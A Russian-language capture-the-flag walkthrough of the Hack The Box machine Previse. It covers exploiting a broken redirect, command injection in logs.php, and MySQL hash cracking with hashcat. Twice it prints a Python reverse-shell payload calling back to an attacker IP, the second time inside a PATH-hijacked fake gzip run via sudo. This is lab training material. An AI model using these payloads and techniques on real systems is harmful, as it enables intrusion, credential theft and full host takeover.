Хакер - HTB Previse. Раскручиваем кривой редирект до полного захвата сайта
hacker_frei
Содержание статьи
- Разведка
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
Сегодня на примере легкой машины с площадки Hack The Box я покажу вполне типичный процесс захвата веб‑сервера. Начнем с неправильно настроенного редиректа, получим доступ к закрытым страницам, а точку опоры найдем через форму получения логов. Захватить флаг рута нам поможет ошибка в скрипте пользователя.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.104 writer.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Находим два открытых порта: 22 (служба OpenSSH 7.6p1) и 80 (веб‑сервер Apache 2.4.29). SSH пока пропустим.
Справка: брутфорс учеток
Поскольку в начале прохождения у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем сделать здесь — это перебирать пароли брутфорсом, но у машин с HTB почти всегда есть другое прохождение. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Остается «пробивать» веб. Внимательно изучим сайт в поисках любой важной информации. При загрузке сайта http://previse.htb нас перебрасывают на страницу login.php. Там нас встречает форма авторизации.

Незаменимое средство при анализе веб‑сайтов — набор программ Burp Pro. Например, входящий в него Burp Proxy при анализе сайта ведет свою историю запросов и ответов. Там мы можем найти наш редирект. Но что более удивительно, редирект выполнен неправильно, так как страница сначала загружается, а потом происходит перенаправление. Увидеть главною страницу можно во встроенном браузере Burp. Для этого активируем Response → Render.

Таким образом мы можем просмотреть весь сайт.
ТОЧКА ВХОДА
Мы можем просматривать файлы сайта, но пока что способов продвинуться дальше не видно. Попробуем получить больше информации о содержимом каталогов при помощи перебора.
Справка: сканирование веба c fuff
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов с целью поиска скрытой информации и недоступной обычным посетителям функций. Для этого можно использовать программы вроде dirsearch и dirb.
Я предпочитаю легкий и очень быстрый ffuf. При запуске используем следующие параметры:
-w— словарь (используем directory-list-2.3-medium из набора Seclists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Список популярных файлов на PHP можно найти в наборе словарей Seclists. Запускаем перебор:
ffuf -u http://previse.htb/FUZZ -w php_files_common.txt -t 200 -fc 403

В выводе получаем много файлов, и некоторые выполняют редирект. А вот неизвестный до этого файл nav.php возвращает код ответа 200. Взглянем на него через браузер и обнаружим обычную навигацию по сайту.

Теперь обойдем все страницы через Burp Proxy и просмотри ответы сервера. Чтобы удобно сделать это через браузер, будем перехватывать ответ от сервера и менять код ответа с 302 (перенаправление) на 200 (успешный ответ). Первым делом перехватываем запрос.

Теперь активируем перехват ответа. Для этого в контекстном меню выбираем Do intercept → Response to this request. После этого отправляем запрос, нажав на кнопку Forward. И сразу в этом же окне получим ответ.

Изменяем 302 Found на 200 OK.

Отправляем ответ, снова нажав на кнопку Forward. В браузере получаем нужную нам страницу.

Подобным образом взглянем и на остальные страницы.


Мы нашли интересную возможность, но нам она пока не доступна. Зато мы можем работать со страницей создания пользователя, чем и воспользуемся.


Перейдем к странице files.php и скачаем бекап сайта.

В архиве много файлов, о некоторых мы даже и не знали. Переходим к этапу изучения исходного кода.
ТОЧКА ОПОРЫ
Среди файлов внутри архива обнаружим connect.php. Этот файл обычно используется для указания настроек подключения к базе данных.

Но данный пароль никуда не подошел. Поэтому запоминаем на будущее и продолжаем анализ. В файле file_logs.php видим, куда отправляется запрос — файл logs.php.

А в файле logs.php находим место, где происходит обработка принимаемых данных.

Никакая фильтрация не используется, при этом значение параметра просто передается в команду консоли. Она будет выполнена в функции exec. Так мы можем завершить одну команду точкой с запятой и затем выполнить другую.
Откроем листенер командой rlwrap nc -lvp 80 и передадим следующую нагрузку, которая даст нам реверс‑шелл. После вставки нагрузки выделяем ее и нажимаем Ctrl-U в Burp. Это легкий способ закодировать передаваемый параметр в кодировке URL.
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.134",80
));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'



В итоге в окне листенера получим удаленную командную оболочку.
ПРОДВИЖЕНИЕ
Так как на хосте развернут веб‑сервер, а на нем работает даже целое веб приложение, то первое наше действие - попробовать получить какие‑либо учетные данные пользователей. Высока вероятность, что эти учетные
данные подойдут и для локальных пользователей тоже. Обычно, такие критические данные хранятся либо в конфигах, либо в базе данных. Так у нас уже есть необходимые параметры для подключения к базе данных, давайте посмотрим, что она содержит.
Первым делом сделаем TTY-оболочку, чтобы нормально взаимодействовать с потоками ввода/вывода.
python3 -c 'import pty; pty.spawn("/bin/bash")'
А теперь подключимся к MySQL и запросим список баз данных.
mysql -u root -D previse -p
show databases;

Из представленных баз по названию определяем пользовательскую. Выбираем ее и получаем список таблиц.
use previse;
show tables;

Таблица accounts может содержать учетные данные для сайта. Получим все записи из таблицы.
select * from accounts;

Вот мы и нашли учетные данные пользователей. Сначала меня смутил вид хешей, но hashcat все равно их перебрал. Сначала определим нужный режим (mode) перебора по типу хеша, а потом выполним перебор по словарю
hashcat --example | grep '\$1\$' -A2 -B2

hashcat -a 0 -m 500 hashes ../tools/rockyou.txt

С найденным паролем подключаемся по SSH и забираем первый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь вряд ли получится просто где‑то найти учетные данные. Поэтому нужно использовать какой‑то способ повышения привилегий. Для поиска этого способа можно, конечно, запустить специальные скрипты вроде LinPEAS, но можно сразу проверить наиболее вероятные места: настройки sudoers, приложения с выставленным битом SUID битом, прослушиваемые на localhost порты и так далее.
Пишем sudo -l, чтобы проверить sudoers.

Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Мы можем выполнить скрипт /opt/scripts/access_backup.sh от имени пользователя root. Просмотрим содержимое файла.

Даже не стоит разбираться в том, что делает этот скрипт, так как уязвимость видна сразу. Путь к исполняемому файлу gzip указан не абсолютный (полный), поэтому операционная система будет искать этот файл во всех каталогах, указанных в переменной окружения PATH. Мы можем создать свой скрипт с названием gzip и внести его каталог первым в переменную PATH.
В скрипте запишем уже использованный ранее реверс‑шелл.
#!/bin/bash
python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.134",8080));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

Затем вносим каталог /tmp в переменную PATH.
export PATH=/tmp:$PATH

Открываем листенер (команда rlwrap nc -lvp 8080) и запускаем через sudo скрипт /opt/scripts/access_backup.sh. Таким образом запущенный из скрипта в высокопривилегированном контексте gzip даст нам реверс‑шелл.

Машина захвачена, мы имеем над ней полный контроль!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei